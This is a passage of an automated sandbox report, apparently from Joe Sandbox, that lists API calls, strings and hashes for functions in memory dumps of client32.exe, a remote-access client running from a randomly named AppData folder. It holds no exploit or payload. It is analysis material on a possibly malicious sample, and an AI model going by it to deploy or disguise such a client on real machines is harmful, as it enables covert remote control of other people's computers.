Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveSleep
String ID:
API String ID: 4212191310-0
Opcode ID: 28c54fb12dbaa26732038b9a7929bcd56687d2fdb348d8162902d2e31fc99937
Instruction ID: 87be5300bf0571633a1a46523ea4ce05f9f4b03de0490f167c1704c5bb622daa
Opcode Fuzzy Hash: 28c54fb12dbaa26732038b9a7929bcd56687d2fdb348d8162902d2e31fc99937
Instruction Fuzzy Hash: 3421DAB2960E11DFDB319F98C850796B7BEAF82319F210827D8599B740D371A8428BD1

Function 00761020 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 00761027
GetStartupInfoA.KERNEL32(?), ref: 0076107B
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,?), ref: 00761096
ExitProcess.KERNEL32 ref: 007610A3

Memory Dump Source

Source File: 00000005.00000002.3339029322.0000000000761000.00000020.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.3338943934.0000000000760000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3339056947.0000000000762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_client32.jbxd

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: 7e54c31b4d45d3120c8211b9f22c155e8cd14aec8125cc33c9d2ee51a04fe0c3
Instruction ID: 94c8c128851e195032d4c9d0042d0a712ae6658f95bd3ff102e546cfb183ebb6
Opcode Fuzzy Hash: 7e54c31b4d45d3120c8211b9f22c155e8cd14aec8125cc33c9d2ee51a04fe0c3
Instruction Fuzzy Hash: 3411C4204087C49AEF315F60895C7FABFA59F12381FAC0044ECD796146D25E48C7C7A5

Function 11030DA7 Relevance: 6.0, APIs: 4, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000001F4), ref: 11030DBC
CloseHandle.KERNEL32(?), ref: 11030DC9
FreeLibrary.KERNEL32(?), ref: 11030DD4
CloseHandle.KERNEL32(00000000), ref: 11030DDB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLibraryObjectSingleWait
String ID:
API String ID: 1314093303-0
Opcode ID: aa088434d08b51544ea5abea5962b85dc1652b22456a7587c6afef069addc8bc
Instruction ID: 29ddb86f1ee71f4f843e45b5762510f7855215705a57359ad908d625b59217dc
Opcode Fuzzy Hash: aa088434d08b51544ea5abea5962b85dc1652b22456a7587c6afef069addc8bc
Instruction Fuzzy Hash: DEF08135E0521ACFDB14DFA5D998BADF774EF84319F0041A9D52A53680DF346540CB40

Function 111447F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(11029A9F,?,11144A43,?), ref: 111447FC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\KYED2\client32.exe,00000104,?,11144A43,?), ref: 11144819

Strings

C:\Users\user\AppData\Roaming\KYED2\client32.exe, xrefs: 11144804, 11144812

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Roaming\KYED2\client32.exe
API String ID: 2251294070-613516608
Opcode ID: 4bd13d76f1b20cdb1905744e884daa295da0da760e6d1ff5c5a6e9fc06adbb17
Instruction ID: b68e03ccdc6c4a6a2c274322f8faab7020ac6906b57b96b3185223f9365e196b
Opcode Fuzzy Hash: 4bd13d76f1b20cdb1905744e884daa295da0da760e6d1ff5c5a6e9fc06adbb17
Instruction Fuzzy Hash: BE11CEB87803539BF704DFA5C9A4B19FBA4AB41B18F20883DE919D7E85EB71E444C780

Function 11110230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11110239

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_memset.LIBCMT ref: 11110262

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\Refcount.cpp, xrefs: 1111024C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: fdaee9942ff38bbfc9813524ff7dbe738d4946ee88f5f3b78065bcb716d44a09
Instruction ID: d1439471c86646bb150eb9b523f3ee6c48551de281bd1a8bb162c90cccd05cf0
Opcode Fuzzy Hash: fdaee9942ff38bbfc9813524ff7dbe738d4946ee88f5f3b78065bcb716d44a09
Instruction Fuzzy Hash: 68E0126AF8062533C511259A6C02FDFF75C8FD2AF9F040031FE0DBA251A596A95181E6

Function 11015580 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102F66A,MiniDumpType,000000FF,00000000,00000000), ref: 11015597
CloseHandle.KERNEL32(00000000,?,?,?,View,Client,Bridge), ref: 110155A8

Strings

\\.\NSWFPDrv, xrefs: 11015592

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: d572e8544444f97a5f3fc22a419c76dea4a94a774e22dfe6340fcb1249187ee5
Instruction ID: 8ee41b20f4352974833a803ddfcebdd3f772c34de5b97fa52423d1e1393adc22
Opcode Fuzzy Hash: d572e8544444f97a5f3fc22a419c76dea4a94a774e22dfe6340fcb1249187ee5
Instruction Fuzzy Hash: 51D09271A410386AF27055A6AD48F87AD099B026B5F220260B939E658486104D4186E0

Function 1115CCA0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115CCC3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 918923e0a1279dfc537c19a69b58c34981e358f5fb15b3a273ee7d5d1eaccc98
Instruction ID: 23015313aa3c4790eb0b31f5809972b43774ae16244dcdf9e0384501427d1f2b
Opcode Fuzzy Hash: 918923e0a1279dfc537c19a69b58c34981e358f5fb15b3a273ee7d5d1eaccc98
Instruction Fuzzy Hash: 7F519F3560021AAFDB90CF58CC80F9ABBB9FF89744F108559E929DB344D770EA11CB90

Function 6EEF8FB0 Relevance: 4.6, APIs: 3, Instructions: 57networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EEF8FE4
getsockname.WSOCK32(?,?,00000010,?,03792CD0,?), ref: 6EEF9005
WSAGetLastError.WSOCK32(?,?,00000010,?,03792CD0,?), ref: 6EEF902E

Part of subcall function 6EEF5840: inet_ntoa.WSOCK32(00000080,?,00000000,?,6EEF8F91,00000000,00000000,6EF3B8DA,?,00000080), ref: 6EEF5852

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast_memsetgetsocknameinet_ntoa
String ID:
API String ID: 3066294524-0
Opcode ID: 175818b2f192d6e401f71244fc3a5cfca78c62400834a6e6c83ed38a4bfeef18
Instruction ID: bd566571945abdc08f658342d8fdef6965548135847e4d03132662ebaaf9796d
Opcode Fuzzy Hash: 175818b2f192d6e401f71244fc3a5cfca78c62400834a6e6c83ed38a4bfeef18
Instruction Fuzzy Hash: 98111872A0411CABDB00DFE9D811AFEB7BCEB49214F10496AEC09E7240EB716A159B91

Function 11112140 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111216A
__wsplitpath.LIBCMT ref: 11112185

Part of subcall function 11169F04: __splitpath_helper.LIBCMT ref: 11169F46

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111121B9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: 71199244ed6d33bf939596fd6a1d73962180ede2ad43d5891037c90b598f2531
Instruction ID: c591a5ba9c17bf4ee1841d59d592da31fd18a085fce33aa04bf57df4da238aa2
Opcode Fuzzy Hash: 71199244ed6d33bf939596fd6a1d73962180ede2ad43d5891037c90b598f2531
Instruction Fuzzy Hash: E4116175A4020CABEB14DF94CD42FE9F778AB48B04F5041D8E6246B1C0E7B02A48CBA5

Function 1109EE00 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F8244,00000001,11142328,_debug,TraceCopyData,00000000,00000000,?,?,00000000,?), ref: 1109EE21
OpenProcessToken.ADVAPI32(00000000,?,?,110F8244,00000001,11142328,_debug,TraceCopyData,00000000,00000000,?,?,00000000,?), ref: 1109EE28

Part of subcall function 1109ED30: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,11030346,?,00000000), ref: 1109ED68
Part of subcall function 1109ED30: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109ED84
Part of subcall function 1109ED30: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,012322F0,012322F0,012322F0,012322F0,012322F0,012322F0,012322F0,111EFB64,?,00000001,00000001), ref: 1109EDB0
Part of subcall function 1109ED30: EqualSid.ADVAPI32(?,012322F0,?,00000001,00000001), ref: 1109EDC3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 1109EE47

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 641b9455226f1aac1b911a8e8f52627aef12e30cb8b5c51eee988bc63af2e0a2
Instruction ID: 92f2080e931b07f8e3ae21524f42d2d018667502f077eef341ad82fca5e9a749
Opcode Fuzzy Hash: 641b9455226f1aac1b911a8e8f52627aef12e30cb8b5c51eee988bc63af2e0a2
Instruction Fuzzy Hash: C8F05E74A01328EFDB08CFE5D99482EB7B8AF08748B40487DE429C3208D632DE00DF50

Function 11110430 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F1908,EFF676FC,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 11110464
EnterCriticalSection.KERNEL32(111F1908,EFF676FC,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 11110480
LeaveCriticalSection.KERNEL32(111F1908,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 111104C8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 503ed64456695a8aee9ef8790988804961b831d33d68d065787b6580b68da22d
Instruction ID: 9bba9b476bfc0c868cb30dd48e950e81aed48164d9983b9afed5b510859fa25d
Opcode Fuzzy Hash: 503ed64456695a8aee9ef8790988804961b831d33d68d065787b6580b68da22d
Instruction Fuzzy Hash: A8118671B4061AAFE7008FA6CDC4B9AF7A8FB4A755F404239E815A7B44E7355804CBE0

Function 11069480 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11069542

Strings

??CTL32.DLL, xrefs: 11069503

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: cf655d8a19676e73a96866a732f5495b69ef782a8a18b6133a21023a43c2cf0f
Instruction ID: 80b6f585093910a847ce346e7da9e0444a9b2d99666d64fa09b423d85774157b
Opcode Fuzzy Hash: cf655d8a19676e73a96866a732f5495b69ef782a8a18b6133a21023a43c2cf0f
Instruction Fuzzy Hash: 9331CF75A046519FE711CF58DC40BAAFBE8FF46724F0482AAE9199B780F771A800CB91

Function 6EEF5840 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

inet_ntoa.WSOCK32(00000080,?,00000000,?,6EEF8F91,00000000,00000000,6EF3B8DA,?,00000080), ref: 6EEF5852

Strings

gfff, xrefs: 6EEF5890

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: inet_ntoa
String ID: gfff
API String ID: 1879540557-1553575800
Opcode ID: 30d771e4efecf2de1b4b7cdfc7e46be8ffc974b213b36202af62f32905784b99
Instruction ID: ea56a2f872ba68cafff21d01fd6f7a0a8de03c7b91405e9f18aca77e477b9bbb
Opcode Fuzzy Hash: 30d771e4efecf2de1b4b7cdfc7e46be8ffc974b213b36202af62f32905784b99
Instruction Fuzzy Hash: 88115C216082D7CBC3168A6EB8606D6BFD5DBA7254B288569D8C9CB301D611DC0FC7D1

Function 110271A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 110271CD

Strings

?:\, xrefs: 110271C2

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
